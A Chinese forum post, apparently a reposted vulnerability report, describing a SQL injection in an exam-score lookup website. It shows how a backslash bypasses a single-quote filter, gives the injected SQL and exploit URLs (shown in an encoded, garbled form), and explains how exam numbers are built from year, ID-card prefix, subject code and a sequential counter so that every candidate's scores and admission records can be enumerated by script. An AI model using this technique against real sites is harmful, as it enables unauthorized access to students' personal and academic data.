网址如下：

99cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6U0K9r3g2F1k6$3A6A6i4K6g2X3x3U0l9I4y4q4)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9q4)9K6c8q4!0q4z5q4)9^5x3q4)9^5x3#2!0q4y4#2)9&6y4q4)9&6c8W2!0q4y4g2)9^5c8W2!0n7y4#2)9J5y4Y4S2E0i4K6y4p5i4@1f1#2i4@1p5%4i4K6V1K6i4@1f1#2i4K6V1H3i4K6S2p5

如果直接输入单引号会提示“输入非法注入内容”，看来网站还是加了简单的过滤的

bd5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6U0K9r3g2F1k6$3A6A6i4K6g2X3x3U0l9I4y4q4)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9q4)9K6c8q4)9J5y4#2)9J5y4Y4S2E0i4K6y4p5

但是他们忽略了转义字符“”

---------------------------↑↑（乌云会把单个反斜线转义成两个，以下所有反斜线都是单个的，自己去掉一下吧）

假设查询成绩的SQL语句是这样

SELECT * FROM grade WHERE ksh='考号' AND xm='姓名';

如果在考号里面加转义就变成了这样：

SELECT * FROM grade WHERE ksh='' AND xm='姓名';

这样ksh之后到xm之前一大坨就可以忽略，在“姓名”里面就可以任意构造SQL语句

SELECT * FROM grade WHERE ksh='' AND xm=' or ksh=14220821150199#';

别忘了在最后加注释#

最后实际执行的SQL语句是这样的

SELECT * FROM grade WHERE ksh='xxxxxxxxx' or ksh=14220821150199;

这样只需要考号不需要知道其对应姓名就可以查到成绩了。

构造以下exp：

f52K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6U0K9r3g2F1k6$3A6A6i4K6g2X3x3U0l9I4y4q4)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9q4)9K6c8q4)9J5y4Y4S2E0i4K6y4p5L8%4u0Q4x3U0f1J5x3r3E0K6K9q4)9K6c8o6p5@1x3U0t1H3z5o6t1I4x3e0f1H3x3e0V1&6i4K6t1#2x3U0x3`.

成绩已经出来了



14、13、12、11年的都是一样的

02cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6U0K9r3g2F1k6$3A6A6i4K6g2X3x3U0l9I4y4q4)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9q4)9K6c8q4)9J5y4Y4S2E0i4K6y4p5L8%4u0Q4x3U0f1J5x3r3E0K6K9q4)9K6c8o6p5@1x3U0t1H3z5o6t1I4x3e0f1H3x3e0V1&6i4K6t1#2x3U0x3`.

a40K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6U0K9r3g2F1k6$3A6A6i4K6g2X3x3U0l9I4x3#2)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9q4)9K6c8q4)9J5y4Y4S2E0i4K6y4p5L8%4u0Q4x3U0f1J5x3r3E0K6K9q4)9K6c8o6p5K6x3U0t1H3z5o6t1I4x3e0f1H3x3e0V1&6i4K6t1#2x3U0x3`.

b9fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6U0K9r3g2F1k6$3A6A6i4K6g2X3x3U0l9I4x3W2)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9q4)9K6c8q4)9J5y4Y4S2E0i4K6y4p5L8%4u0Q4x3U0f1J5x3r3E0K6K9q4)9K6c8o6p5J5x3U0t1H3z5o6t1I4x3e0f1H3x3e0V1&6i4K6t1#2x3U0x3`.

8c9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6U0K9r3g2F1k6$3A6A6i4K6g2X3x3U0l9I4x3g2)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9q4)9K6c8q4)9J5y4Y4S2E0i4K6y4p5L8%4u0Q4x3U0f1J5x3r3E0K6K9q4)9K6c8o6p5I4x3U0t1H3z5o6t1I4x3e0f1H3x3e0V1&6i4K6t1#2x3U0x3`.

接下来的问题是考号从哪里来？

随便看一个考号，12220822150199

可以这样分割 12|220822|15|0199

12是指2012年，13则对应2013年，其它同理

220822是身份证前六位，网上可以查得到

中间的15代表理科，11代表文科

最后面4位是从0001开始依次递增排下去的，例如某县有1800名考生，考号后四位就是0001到1800，遍历下就可以了

写个程序拿回成绩数据


有了成绩里面已经包含了考生号和姓名，直接提交就可以查到录取信息了

0b4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6D9k6h3c8#2i4K6u0W2k6$3!0$3i4K6u0W2j5$3&6Q4x3V1k6D9N6i4q4#2i4K6g2X3x3U0l9I4x3#2)9J5k6i4m8Z5M7q4)9K6c8X3E0K6K9r3u0Q4x3@1c8Q4c8e0S2Q4z5o6m8Q4z5o6y4Q4c8e0g2Q4z5p5k6Q4b7U0N6Q4x3U0k6^5L8h3u0Q4x3@1c8Q4c8e0g2Q4b7e0N6Q4z5e0y4Q4c8e0g2Q4z5e0m8Q4z5p5b7`.

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

上传的附件：

• 201408132220136495.jpg （39.64kb，1次下载）
• 201408132220142900.jpg （131.94kb，1次下载）
• 201408132220158580.jpg （80.63kb，1次下载）
• 201408132220161079.jpg （131.94kb，1次下载）
• 201408132220179857.jpg （80.63kb，1次下载）